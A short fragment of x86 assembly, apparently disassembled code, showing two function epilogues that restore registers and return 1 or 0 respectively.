pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
pop ecx
ret
pop edi
pop esi
xor eax, eax
pop ebp
pop ecx
ret